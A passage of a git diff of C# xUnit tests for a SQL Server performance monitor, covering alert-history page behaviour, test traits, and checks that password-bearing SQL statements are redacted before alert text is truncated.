+        Assert.Contains("pageRangePicker({", page);
+        Assert.Equal(24 * PerformanceMonitor.Darling.Storage.DarlingRetentionHorizons.AlertHistoryRetentionDays, PerformanceMonitor.Darling.Service.WebReadReach.All["get_alert_history"].MaxHours);
+        Assert.Equal(90, PerformanceMonitor.Darling.Storage.DarlingRetentionHorizons.AlertHistoryRetentionDays);
+
+        var limits = System.Text.RegularExpressions.Regex.Match(page, "const LIMIT_CHOICES = \\[([0-9, ]+)\\]").Groups[1].Value
+            .Split(',').Select(s => int.Parse(s.Trim())).ToList();
+        Assert.Equal(new[] { 200, 500, 1000 }, limits);
+        Assert.True(limits.Max() <= 1000, "the dispatch layer clamps a row count to 1000");
+    }
+
+    [Fact]
+    public void TheChoicesLiveAtModuleScopeAndTheDismissRouteIsNotTheDesktopOne()
+    {
+        var page = Page();
+        Assert.Contains("\nconst choices = {", page);
+        Assert.DoesNotContain("/api/alerts/dismiss", page);
+    }
+
+    private static JsonElement Run(string scenario, string? timeZone = null)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "alert-history-range-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+        if (timeZone is not null)
+        {
+            psi.ArgumentList.Add(timeZone);
+        }
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the Alert History harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the Alert History harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string Get(JsonElement read, string name) =>
+        read.TryGetProperty(name, out var v) ? v.GetString()! : "(absent)";
+
+    [Fact]
+    public void EachChoiceReachesTheRead()
+    {
+        var r = Run("reads");
+        var first = r.GetProperty("first");
+        Assert.Equal("24", Get(first, "hours_back"));
+        Assert.Equal("200", Get(first, "limit"));
+        Assert.Equal("(absent)", Get(first, "server_name"));
+        Assert.Equal("(absent)", Get(first, "include_dismissed"));
+
+        Assert.Equal("168", Get(r.GetProperty("window"), "hours_back"));
+        Assert.Equal("1000", Get(r.GetProperty("limit"), "limit"));
+        Assert.Equal("srv-b", Get(r.GetProperty("server"), "server_name"));
+        var dismissed = r.GetProperty("dismissed");
+        Assert.Equal("true", Get(dismissed, "include_dismissed"));
+        Assert.Equal("168", Get(dismissed, "hours_back"));
+        Assert.Equal("1000", Get(dismissed, "limit"));
+        Assert.Equal("srv-b", Get(dismissed, "server_name"));
+
+        // The popup offers every preset and calendar period within the catalog's 90 days; the longer ones are greyed out, never clamped.
+        Assert.Equal("Past 5 minutes,Past 15 minutes,Past 30 minutes,Past hour,Past 4 hours,Past day,Past 2 days,Past week,Past 30 days,Past 90 days,Today,Yesterday,Week to Date,Previous Week,Month to Date,Previous Month",
+            string.Join(",", r.GetProperty("windowOptions").EnumerateArray().Select(e => e.GetString())));
+        Assert.Equal("Year to Date,Previous Year",
+            string.Join(",", r.GetProperty("windowGreyed").EnumerateArray().Select(e => e.GetString())));
+        Assert.Equal("This page's reads reach at most 90 days back.", r.GetProperty("refused").GetString());
+        // A finished range sends its end as as_of; a shorter-than-an-hour range reads the whole hour.
+        Assert.EndsWith("Z", Get(r.GetProperty("finished"), "as_of"));
+        Assert.Equal("1", Get(r.GetProperty("thirtyMinutes"), "hours_back"));
+        Assert.Equal("200,500,1000", string.Join(",", r.GetProperty("limitOptions").EnumerateArray().Select(e => e.GetString())));
+        Assert.Equal(",srv-a,srv-b", string.Join(",", r.GetProperty("serverOptions").EnumerateArray().Select(e => e.GetString())));
+    }
+
+    [Fact]
+    public void TheChoicesSurviveThePollAndAVisitElsewhere()
+    {
+        var r = Run("survive");
+        foreach (var step in new[] { "poll", "back" })
+        {
+            var reads = r.GetProperty(step).EnumerateArray().ToList();
+            Assert.Single(reads);
+            Assert.Equal("4", Get(reads[0], "hours_back"));
+            Assert.Equal("500", Get(reads[0], "limit"));
+            Assert.Equal("srv-a", Get(reads[0], "server_name"));
+            Assert.Equal("true", Get(reads[0], "include_dismissed"));
+        }
+
+        var shown = r.GetProperty("shown");
+        Assert.Equal("Past 4 hours", shown.GetProperty("window").GetString());
+        Assert.Equal("500", shown.GetProperty("limit").GetString());
+        Assert.Equal("srv-a", shown.GetProperty("server").GetString());
+        Assert.True(shown.GetProperty("dismissed").GetBoolean());
+    }
+
+    [Fact]
+    public void ATruncatedReplySaysMoreAlertsExistAndAClearOneDoesNot()
+    {
+        var r = Run("truncated");
+        Assert.True(r.GetProperty("truncated").GetBoolean());
+        Assert.False(r.GetProperty("notTruncated").GetBoolean());
+        Assert.True(r.GetProperty("pollTruncated").GetBoolean());
+        Assert.False(r.GetProperty("pollCleared").GetBoolean());
+    }
+
+    [Fact]
+    public void DismissedRowsAreMarkedOnFirstDrawAndOnLaterReconciles()
+    {
+        var r = Run("dismissed");
+        Assert.Equal(new[] { "", "alert-dismissed" }, r.GetProperty("classes").EnumerateArray().Select(e => e.GetString()).ToArray());
+        Assert.Equal(new[] { "alert-dismissed", "", "alert-dismissed" }, r.GetProperty("afterPoll").EnumerateArray().Select(e => e.GetString()).ToArray());
+    }
+
+    [Fact]
+    public void AKeptRowTakesItsDismissedMarkingFromALaterPoll()
+    {
+        var r = Run("dismissedLater");
+        string[] Strings(string n) => r.GetProperty(n).EnumerateArray().Select(e => e.GetString() ?? "").ToArray();
+        Assert.Equal(new[] { "", "" }, Strings("before"));
+        Assert.Equal(new[] { "", "alert-dismissed" }, Strings("after"));
+        Assert.Equal(new[] { "", "Dismissed" }, Strings("afterTitle"));
+        Assert.Equal(new[] { false, true }, r.GetProperty("afterStatus").EnumerateArray().Select(e => e.GetBoolean()).ToArray());
+        Assert.Equal("High CPU 1,High CPU 2", string.Join(",", Strings("order")));
+        Assert.Equal(new[] { "", "" }, Strings("restored"));
+    }
+
+    [Fact]
+    public void TwoServersThatShareADisplayNameKeepBothRows()
+    {
+        Assert.Equal(2, Run("sharedName").GetProperty("rows").GetInt32());
+    }
+
+    [Fact]
+    public void TheRangePickerTakesItsReachFromTheCatalog_NinetyDays()
+    {
+        // #5562: the picker greys out what the read cannot reach and says why (the catalog's max_hours), so the page needs no hand-written
+        // tooltip; the reach is the read's own 2160 hours, the alert table's retention (L4b).
+        Assert.DoesNotContain("The web reads at most 7 days of alert history, so there is no All choice.", Page());
+        Assert.DoesNotContain("the web read stops at the common 7 day reach", Page());
+        Assert.Contains("get_alert_history reaches 2160 hours, 90 days", Page());
+    }
+
+    [Fact]
+    public void ANewWindowReconcilesInPlace_RowsLeaveAndNewOnesLandInOrder()
+    {
+        var r = Run("reconcile");
+        Assert.Equal("High CPU 1,High CPU 3,High CPU 5", string.Join(",", r.GetProperty("before").EnumerateArray().Select(e => e.GetString())));
+        Assert.Equal("High CPU 0,High CPU 1,High CPU 2,High CPU 3", string.Join(",", r.GetProperty("after").EnumerateArray().Select(e => e.GetString())));
+        Assert.True(r.GetProperty("keptNode").GetBoolean(), "an unchanged row keeps its DOM node across a window change");
+        Assert.Equal("High CPU 3", string.Join(",", r.GetProperty("shrunk").EnumerateArray().Select(e => e.GetString())));
+    }
+
+    // Review r2 H1: alert_time is naive UTC with no zone suffix, which the browser reads as LOCAL time unless the page parses it as UTC. The
+    // harness rows carry the server's real shape, and the same scenario runs in zones that are not UTC (and in UTC) because a UTC-only run
+    // passes the old Date.parse code. The offset check proves Node honoured the zone, so the test cannot pass by running in UTC every time.
+    [Theory]
+    [InlineData("UTC", 0)]
+    [InlineData("Europe/Berlin", -1)]
+    [InlineData("America/New_York", 1)]
+    [InlineData("Asia/Tokyo", -1)]
+    public void ARangeShorterThanTheWholeHoursItFetches_ListsOnlyTheAlertsInsideIt(string zone, int offsetSign)
+    {
+        var r = Run("trim", zone);
+        Assert.Equal(offsetSign, Math.Sign(r.GetProperty("tzOffsetMinutes").GetInt32()));
+        string[] Names(string key) => r.GetProperty(key).EnumerateArray().Select(e => e.GetString()!).ToArray();
+        Assert.Equal(new[] { "High CPU 0", "High CPU 19", "High CPU 89" }, Names("day"));
+        Assert.Equal(new[] { "High CPU 0" }, Names("fiveMinutes"));
+        Assert.Equal(new[] { "High CPU 0", "High CPU 19" }, Names("thirtyMinutes"));
+        Assert.Equal(new[] { "High CPU 0", "High CPU 19", "High CPU 89" }, Names("fourHours"));
+    }
+
+    [Fact]
+    public void TheMuteLinksStillRenderOnEveryRow()
+    {
+        var links = Run("mute").GetProperty("links").EnumerateArray().Select(e => e.GetString()!).ToList();
+        Assert.Contains(links, l => l.StartsWith("Mute this alert #/mute-rules?server_id=1&server_name=srv-a&metric_name=", StringComparison.Ordinal));
+        Assert.Contains(links, l => l.StartsWith("Mute similar #/mute-rules?metric_name=", StringComparison.Ordinal));
+    }
+}
diff --git a/Darling/Darling.Tests/AlertHistoryRowSeverityTests.cs b/Darling/Darling.Tests/AlertHistoryRowSeverityTests.cs
index ca6bfddbca..cbd7f4e18d 100644
--- a/Darling/Darling.Tests/AlertHistoryRowSeverityTests.cs
+++ b/Darling/Darling.Tests/AlertHistoryRowSeverityTests.cs
@@ -37,6 +37,7 @@ namespace Darling.Tests;
 /// tier exists, and says the right thing there; both grids' row classes reach the shared decision and no
 /// grid still calls the by-name predicates directly.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class AlertHistoryRowSeverityTests
 {
     /* ─────────────────────────── the member on the wire ─────────────────────────── */
diff --git a/Darling/Darling.Tests/AlertMasterSwitchSurfaceTests.cs b/Darling/Darling.Tests/AlertMasterSwitchSurfaceTests.cs
index a500937187..f3671ed2c4 100644
--- a/Darling/Darling.Tests/AlertMasterSwitchSurfaceTests.cs
+++ b/Darling/Darling.Tests/AlertMasterSwitchSurfaceTests.cs
@@ -42,6 +42,8 @@ namespace Darling.Tests;
 /// "track always, deliver conditionally" split, which predates this issue and is the idiom precedent the
 /// AND'd gates follow.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class AlertMasterSwitchSurfaceTests
 {
     /* ---------------- the delivery-call census ---------------- */
diff --git a/Darling/Darling.Tests/AlertMetricClassifierTests.cs b/Darling/Darling.Tests/AlertMetricClassifierTests.cs
index cbdba50baa..7291a16bd8 100644
--- a/Darling/Darling.Tests/AlertMetricClassifierTests.cs
+++ b/Darling/Darling.Tests/AlertMetricClassifierTests.cs
@@ -48,6 +48,7 @@ public class AlertMetricClassifierTests
     [InlineData("AG Sync Recovered")]
     [InlineData("AG Data Movement Resumed")]
     [InlineData("Web TLS Certificate Renewed")]   // #3514
+    [InlineData("MCP TLS Certificate Renewed")]   // #5288
     public void IsResolution_True_ForEveryResolutionNotice(string metric)
     {
         Assert.True(AlertMetricClassifier.IsResolution(metric));
@@ -77,6 +78,8 @@ into the resolution bucket by "Reconnected"/"Recovered"/"Resumed" appearing else
     /* #3514: the active web-TLS-certificate alert stays actionable — its "Expiring" name carries none of the
        resolution words, and adding "Renewed" to the vocabulary must not drag it green. */
     [InlineData("Web TLS Certificate Expiring")]
+    /* #5288: and so does the MCP endpoint's twin. */
+    [InlineData("MCP TLS Certificate Expiring")]
     public void IsResolution_False_ForActionableAlerts(string metric)
     {
         Assert.False(AlertMetricClassifier.IsResolution(metric));
diff --git a/Darling/Darling.Tests/AlertNotebookRenderBehaviourTests.cs b/Darling/Darling.Tests/AlertNotebookRenderBehaviourTests.cs
index 977ea965ff..a5ed50f63f 100644
--- a/Darling/Darling.Tests/AlertNotebookRenderBehaviourTests.cs
+++ b/Darling/Darling.Tests/AlertNotebookRenderBehaviourTests.cs
@@ -41,6 +41,7 @@ private static bool TryRun(string scenario, out JsonElement result)
         }
         catch (Win32Exception)
         {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
             return false;
         }
 
diff --git a/Darling/Darling.Tests/AlertNotebookRenderClientTests.cs b/Darling/Darling.Tests/AlertNotebookRenderClientTests.cs
index a7ea7d7363..d7de36724b 100644
--- a/Darling/Darling.Tests/AlertNotebookRenderClientTests.cs
+++ b/Darling/Darling.Tests/AlertNotebookRenderClientTests.cs
@@ -307,18 +307,19 @@ public void Views_AlertModePanelCells_ScopeByTheEndpointsScopeServer_NeverByADis
     [Fact]
     public void Views_PanelOrError_SettlesExactlyOnce_SoABadPanelCellCannotHoldALimiterSlot()
     {
-        var body = CodeOf(ReadRepoFileLf(ViewsPath), "function panelOrError(p, readSet, sourceSet, scope, onSettled) {");
+        var body = CodeOf(ReadRepoFileLf(ViewsPath), "function panelOrError(p, readSet, sourceSet, scope, onSettled, slot = null) {");
 
         Assert.Contains("if (onSettled) onSettled();", body, StringComparison.Ordinal);
-        Assert.Contains("renderComposedPanelCard(p, scope, onSettled)", body, StringComparison.Ordinal);
+        Assert.Contains("renderComposedPanelCard(p, scope, onSettled, slot)", body, StringComparison.Ordinal);
         Assert.Contains("renderPanel(p, onSettled)", body, StringComparison.Ordinal);
 
         // Every error card is built by the settling `fail` function: the one panelErrorCard call left is inside it.
         Assert.Single(Regex.Matches(body, @"panelErrorCard\("));
 
-        // The dashboard grid passes no callback, so its behaviour is the one it had.
+        // The dashboard grid passes no callback (its panel is only re-scoped by panelUnderScope first, which cannot
+        // take a limiter slot), so its behaviour is the one it had.
         Assert.Contains(
-            "panels.map((p) => panelOrError(p, readSet, sourceSet, currentScope()))",
+            "panels.map((p, i) => panelOrError(panelUnderScope(p, state, panelServer), readSet, sourceSet, currentScope(), undefined, i))",
             ReadRepoFile(ViewsPath), StringComparison.Ordinal);
     }
 
diff --git a/Darling/Darling.Tests/AlertNotebookTableCatalogTests.cs b/Darling/Darling.Tests/AlertNotebookTableCatalogTests.cs
index c603845599..51c0c30af1 100644
--- a/Darling/Darling.Tests/AlertNotebookTableCatalogTests.cs
+++ b/Darling/Darling.Tests/AlertNotebookTableCatalogTests.cs
@@ -260,6 +260,8 @@ public void ACollectorCostCell_ResolvesToTheFleetPartWithoutACollectorName_AndTh
     private static readonly Dictionary<string, string> s_keyConstants = new(StringComparer.Ordinal)
     {
         ["get_database_sizes.size_note"] = "AzureSiblingDatabaseSize.RowNoteKey",
+        // #5249: the gated rows are built by the helper the tool calls (anonymous-object member `message`).
+        ["get_collection_health.message"] = "DarlingGatedCollectorRows.AppendAsync(",
     };
 
     /// <summary>The text from <paramref name="start"/> to the next marker (or the end).</summary>
diff --git a/Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs b/Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs
index 0de7d2358e..253c9bd5c6 100644
--- a/Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs
+++ b/Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs
@@ -41,6 +41,7 @@ namespace Darling.Tests;
 /// down), and the counts are asserted in both directions so a walk that silently stopped reaching cannot
 /// report clean.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class AlertReadFailureSurfaceTests
 {
     /* ---------------- the counter's own behaviour ---------------- */
@@ -922,7 +923,7 @@ private static readonly (string Path, int Counted, int Exempt)[] s_wholeFileScop
            DarlingWorker. 16th exempt since #4750: EvaluateNotificationChannelsAsync's wrapper catch — the
            webhook channels' failure counts are read from the webhook service's memory, so there is no store
            read for the condition to swallow. */
-        (Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "DarlingSelfAlertEvaluator.cs"), 12, 17),
+        (Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "DarlingSelfAlertEvaluator.cs"), 13, 18),
     };
 
     /// <summary>
@@ -967,7 +968,7 @@ private static readonly (string Path, int Counted, int Exempt)[] s_wholeFileScop
     /* 11th since #4215: ReadRejectedManagedConfSettingNamesAsync's catch — COUNTED,
        not exempt, because a RejectedValue row is judgeable evidence for the alert, not context for its text. */
     private const int WorkerCountedSites = 11;
-    private const int WorkerExemptSites = 11;
+    private const int WorkerExemptSites = 12;
 
     /// <summary>
     /// Counted sites tree-wide. ONE numeral with several readers rather than the same number written out at
@@ -1010,9 +1011,11 @@ private static readonly (string Path, int Counted, int Exempt)[] s_wholeFileScop
     /// shape at the store's own health. And a THIRTEENTH since #4215: the store-settings
     /// self-alert's rejected-verdict read, moved from exempt to counted because a RejectedValue row is one of
     /// the three conditions the alert fires on — losing it leaves that condition unjudgeable, and the original
-    /// exempt classification would let one failed read write a false "Store Settings Resolved".</para>
+    /// exempt classification would let one failed read write a false "Store Settings Resolved". And a
+    /// THIRTY-EIGHTH since #5450: the daily retained-history audit's per-rollup read, counted because a swallowed
+    /// read skips that rollup for the day, and the audit is the only place the day's thin hours are ever named.</para>
     /// </summary>
-    private const int CountedSites = 37;
+    private const int CountedSites = 38;
 
     /// <summary>
     /// Log-message fragments that identify a catch block DELIBERATELY not counted, each paired with the
@@ -1029,6 +1032,7 @@ private static readonly (string Path, int Counted, int Exempt)[] s_wholeFileScop
         ["Store disk-pressure self-alert failed"] = "handed its evidence as parameters; the read is counted in DarlingWorker",
         ["Custom-alert rule-health self-alert failed"] = "handed its evidence (the report) as a parameter; the report-building read is in CustomAlertEvaluator, outside this census",
         ["Store runtime upgrade self-alert failed"] = "handed its evidence as parameters",
+        ["Collection gap at start self-alert failed"] = "handed its evidence as parameters",
         ["Store TimescaleDB self-alert failed"] = "handed its evidence as parameters; the version was read by the bootstrap (#3908)",
         /* #3816 renamed this line with the check: the same catch, one family over — the self-heal now covers
            every policy family, so "Compression-job health" would have named a third of what it isolates. */
@@ -1039,7 +1043,7 @@ private static readonly (string Path, int Counted, int Exempt)[] s_wholeFileScop
         ["Notification-channel self-alert failed"] = "reads the webhook channels' failure counts from the webhook service's memory and performs no store read at all - there is no read for this condition to be the swallowing of",
         ["Stale-mute self-alert failed"] = "handed its evidence (the live MuteRuleService cache) as a parameter and performs no store read at all - there is no read anywhere for this condition to be the swallowing of",
         ["Fleet gate self-alert failed"] = "handed its evidence (the worker's in-memory gate counts) as a parameter and performs no store read at all",
-        ["Web TLS certificate self-alert failed"] = "handed its evidence (the report from the web host's in-memory WebTlsCertificateState publish) as a parameter and performs no store read at all",
+        ["Web TLS certificate self-alert failed"] = "handed its evidence (the report from the listener host's in-memory TLS certificate state publish: WebTlsCertificateState for the web host, McpTlsCertificateState for the MCP host) as a parameter and performs no store read at all; one shared catch covers both listeners",
         ["Store settings self-alert failed"] = "handed its evidence as a parameter; the one store read behind it (the rejected-verdict names) is isolated in its own COUNTED catch in DarlingWorker (#4215) rather than exempted",
         ["Failed to record resolution"] = "an audit-row write",
         ["Could not record Postgres alert resolution"] = "a history write",
@@ -1056,6 +1060,7 @@ private static readonly (string Path, int Counted, int Exempt)[] s_wholeFileScop
         ["CONVERTS the fault into the unreadable count"] = "a parse arm, not a read: the fleet-sweep rollup's store read is counted above it, and a document that does not parse becomes the rollup's own reportable unreadable count - the fault is evidence, not a swallow",
         ["Could not resolve Agent job names"] = "reads the monitored server's msdb through the host resolver, not the store - the Recently-failed-job precedent one seam over; the card degrades to the unresolved form whose raw marker keeps the gap visible, and the page still delivers",
         ["delivery stamp could not be written"] = "a write (#3580): the daily document was already delivered and process memory already gates it; the dropped stamp costs one re-announcement at the next restart and never a delivery - the stamp READ beside it is the read, and it is counted",
+        ["Store statement history is still failing"] = "the Debug repeat of a telemetry write sweep (#5097); the first failure warns, no alert is judged on its result",
         ["Read-latency flush failed"] = "the read-latency histogram flush writes instrumentation; losing an hour's rows can't hide an alert condition",
     };
 
@@ -1241,8 +1246,11 @@ WebTlsCertificateState report the web host publishes - there is no store read to
            flush's catch, a telemetry write whose loss costs an hour's histogram rows and never an alert.
            33rd since #4750: the Notification Channel Failing self-alert's catch, whose counts come from the
            webhook service's memory rather than the store. 34th since #4732: the Collection Falling Behind
-           self-alert's wrapper catch, whose counts come from the worker's in-memory gate statistics. */
-        Assert.Equal(34, totalExempt);
+           self-alert's wrapper catch, whose counts come from the worker's in-memory gate statistics. 35th since
+           #5097: the store statement history snapshot's catch, a telemetry write sweep whose loss costs an hour's
+           capture and never an alert. 36th since #5450: the Collection Gap At Start self-alert's catch, handed
+           its evidence as a parameter. */
+        Assert.Equal(36, totalExempt);
 
         /* Every exemption in the table is actually used. An exemption for a message that no longer exists
            is a hole this pin would otherwise keep open indefinitely — the shape that lets a real new catch
diff --git a/Darling/Darling.Tests/AlertStatementCutOrderTests.cs b/Darling/Darling.Tests/AlertStatementCutOrderTests.cs
new file mode 100644
index 0000000000..96c2c47e0a
--- /dev/null
+++ b/Darling/Darling.Tests/AlertStatementCutOrderTests.cs
@@ -0,0 +1,216 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5320: an alert's statement text is judged WHOLE and then cut, never cut and then judged. The shared alert
+/// builders (<see cref="AlertContextBuilders"/>, <see cref="DeadlockAlertRow"/>, both apps) cut a statement to a
+/// one-line preview for the alert body. A judge that sees the cut preview misses a value whose naming text (here a
+/// <c>CREATE LOGIN ... PASSWORD</c> tail) lies past the cut, so every statement here carries a value in its first
+/// part and its naming text well past 300 characters. Each pin fails when the cut comes first.
+/// </summary>
+public sealed class AlertStatementCutOrderTests
+{
+    private const string Value = "Hunter2Secret5320";
+
+    /// <summary>A value in the first characters, 600 characters of column list, then the text that names it.</summary>
+    private static readonly string Statement =
+        $"SELECT '{Value}' AS v" + string.Concat(Enumerable.Range(0, 60).Select(i => $", c{i:D4} AS a{i:D4}"))
+        + " INTO #t; CREATE LOGIN leaker WITH PASSWORD = 'x';";
+
+    private static readonly List<string> NoExclusions = new();
+
+    private static string Flat(AlertContext? context) =>
+        AlertContextBuilders.ContextToDetailText(context) ?? "";
+
+    private static void AssertWithheld(string text)
+    {
+        Assert.DoesNotContain(Value, text, StringComparison.Ordinal);
+        Assert.Contains(SensitiveStatements.PlaceholderText, text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheFixtureStatement_IsNamedWhole_AndItsFirstThreeHundredCharactersAreNot()
+    {
+        Assert.True(Statement.IndexOf("CREATE LOGIN", StringComparison.Ordinal) > 600);
+        Assert.True(SensitiveStatements.Names(Statement));
+        Assert.False(SensitiveStatements.Names(Statement[..300]));
+        Assert.Contains(Value, Statement[..300], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TruncateStatement_JudgesTheWholeStatement_BeforeTheCut()
+    {
+        Assert.Equal(SensitiveStatements.PlaceholderText, AlertContextBuilders.TruncateStatement(Statement));
+        Assert.Equal(SensitiveStatements.PlaceholderText, AlertContextBuilders.TruncateStatement(Statement, 80));
+    }
+
+    [Fact]
+    public void TruncateStatement_CutsAClearStatementTheWayTruncateTextDoes()
+    {
+        var clear = "SELECT a,\r\n b FROM t " + new string('x', 400);
+
+        Assert.Equal(AlertContextBuilders.TruncateText(clear), AlertContextBuilders.TruncateStatement(clear));
+        Assert.Equal(AlertContextBuilders.TruncateText(clear, 40), AlertContextBuilders.TruncateStatement(clear, 40));
+        Assert.Equal("", AlertContextBuilders.TruncateStatement(""));
+    }
+
+    [Fact]
+    public void BlockingContext_ShowsTheMarker_ForABlockedAndABlockingStatementWhoseNamingTextIsPastTheCut()
+    {
+        var rows = new List<BlockedProcessAlertRow>
+        {
+            new()
+            {
+                DatabaseName = "AppDb", WaitTimeMs = 9000, ContentiousObject = "AppDb.dbo.Ledger",
+                BlockedSqlText = Statement, BlockingSqlText = Statement,
+            },
+        };
+
+        var context = AlertContextBuilders.BuildBlockingContext("SQL2022", rows, NoExclusions);
+
+        AssertWithheld(Flat(context));
+    }
+
+    [Fact]
+    public void BlockingIncident_CarriesTheMarkerInItsDetailFields()
+    {
+        var rows = new List<BlockedProcessAlertRow>
+        {
+            new()
+            {
+                DatabaseName = "AppDb", WaitTimeMs = 9000, ContentiousObject = "AppDb.dbo.Ledger",
+                BlockedSqlText = Statement, BlockingSqlText = Statement,
+            },
+        };
+
+        var incident = Assert.Single(AlertContextBuilders.BlockingIncidents("SQL2022", rows, NoExclusions));
+        var fields = Assert.IsAssignableFrom<IReadOnlyList<AlertIncidentField>>(incident.DetailFields);
+        var query = fields.Where(f => f.Label.EndsWith("Query", StringComparison.Ordinal)).ToList();
+
+        Assert.Equal(2, query.Count);
+        Assert.All(query, f => Assert.Equal(SensitiveStatements.PlaceholderText, f.Value));
+    }
+
+    [Fact]
+    public void BlockingIncident_KeepsItsIdentityOnTheRawText_SoAWithheldStatementDoesNotChangeTheKey()
+    {
+        /* No contentious object: identity falls back to database + the literal-stripped statement pair. */
+        var rows = new List<BlockedProcessAlertRow>
+        {
+            new() { DatabaseName = "AppDb", WaitTimeMs = 9000, BlockedSqlText = Statement, BlockingSqlText = Statement + " " },
+            new() { DatabaseName = "AppDb", WaitTimeMs = 8000, BlockedSqlText = Statement, BlockingSqlText = Statement + " " },
+        };
+
+        var incidents = AlertContextBuilders.BlockingIncidents("SQL2022", rows, NoExclusions);
+
+        Assert.Single(incidents);
+    }
+
+    private const string StandaloneVictimGraph = "<deadlock><victim-list><victimProcess id=\"process1\"/></victim-list>"
+        + "<process-list><process id=\"process1\" spid=\"51\" currentdbname=\"AppDb\"><inputbuf>x</inputbuf></process></process-list>"
+        + "<resource-list></resource-list></deadlock>";
+
+    private static string FingerprintedGraph(string inputbuf) =>
+        "<deadlock><victim-list><victimProcess id=\"process1\"/></victim-list><process-list>"
+        + $"<process id=\"process1\" spid=\"51\" currentdbname=\"AppDb\" lockMode=\"X\"><inputbuf>{System.Security.SecurityElement.Escape(inputbuf)}</inputbuf></process>"
+        + "<process id=\"process2\" spid=\"52\" currentdbname=\"AppDb\" lockMode=\"U\"><inputbuf>SELECT 2</inputbuf></process>"
+        + "</process-list><resource-list><keylock objectname=\"AppDb.dbo.Ledger\" indexname=\"IX\">"
+        + "<owner id=\"process2\" mode=\"U\"/><waiter id=\"process1\" mode=\"X\"/></keylock></resource-list></deadlock>";
+
+    [Fact]
+    public void DeadlockContext_ShowsTheMarker_ForAVictimStatementWithNoParseableObjects()
+    {
+        var rows = new List<DeadlockAlertRow>
+        {
+            new() { VictimProcessId = "process1", VictimSqlText = Statement, DeadlockGraphXml = StandaloneVictimGraph },
+        };
+
+        var context = AlertContextBuilders.BuildDeadlockContext("SQL2022", rows, NoExclusions);
+
+        AssertWithheld(Flat(context));
+    }
+
+    [Fact]
+    public void DeadlockContext_ShowsTheMarker_ForTheFingerprintedVictimAndEachPartyStatement()
+    {
+        var rows = new List<DeadlockAlertRow>
+        {
+            new() { VictimProcessId = "process1", VictimSqlText = Statement, DeadlockGraphXml = FingerprintedGraph(Statement) },
+        };
+
+        var context = AlertContextBuilders.BuildDeadlockContext("SQL2022", rows, NoExclusions);
+        var text = Flat(context);
+
+        AssertWithheld(text);
+        Assert.Contains("SELECT 2", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void LongRunningQueryContext_ShowsTheMarker_ForAStatementWhoseNamingTextIsPastTheCut()
+    {
+        var queries = new List<LongRunningQueryInfo>
+        {
+            new() { SessionId = 61, DatabaseName = "AppDb", QueryText = Statement, ElapsedSeconds = 900 },
+        };
+
+        var context = AlertContextBuilders.BuildLongRunningQueryContext("SQL2022", queries);
+
+        AssertWithheld(Flat(context));
+    }
+
+    /// <summary>
+    /// The toast preview of the long-running-query alert is cut to 80 characters inside the engine's sweep, which
+    /// no pure seam reaches; this holds it to the judge-then-cut helper by its source.
+    /// </summary>
+    [Fact]
+    public void TheEnginesLongRunningQueryPreview_UsesTheJudgeThenCutHelper()
+    {
+        var source = RepoFile.ReadRepoFile("PerformanceMonitor.Alerting", "AlertEngine.cs");
+
+        Assert.Contains("AlertContextBuilders.TruncateStatement(worst.QueryText, 80)", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("AlertContextBuilders.TruncateText(", source, StringComparison.Ordinal);
+    }
+
+    /* The two PostgreSQL alert texts cut a statement the store already holds judged: a deadlock victim the log
+       parser took out of a report it had redacted whole, and a blocking root query PgBlockingCollector judges on the
+       target (PgSensitiveStatementFilterTests). These two pins read the chain through the parser. */
+    [Fact]
+    public void PgDeadlockAlert_NeverCarriesAValueOfAVictimWhoseNamingTextIsPastTheCut()
+    {
+        var at = new DateTime(2026, 10, 6, 12, 0, 0, 100);
+        var prefix = at.ToString("yyyy-MM-dd HH:mm:ss.fff", System.Globalization.CultureInfo.InvariantCulture) + " UTC [3301] ";
+        var report = prefix + "ERROR:  deadlock detected\n"
+            + prefix + "DETAIL:  Process 3301 waits for ShareLock on transaction 5501; blocked by process 3302.\n"
+            + "\tProcess 3302 waits for ShareLock on transaction 5500; blocked by process 3301.\n"
+            + $"\tProcess 3301: SELECT '{Value}' AS v" + string.Concat(Enumerable.Range(0, 60).Select(i => $", c{i:D4}"))
+            + " INTO t; ALTER ROLE leaker PASSWORD 'x'\n"
+            + "\tProcess 3302: SELECT 2\n"
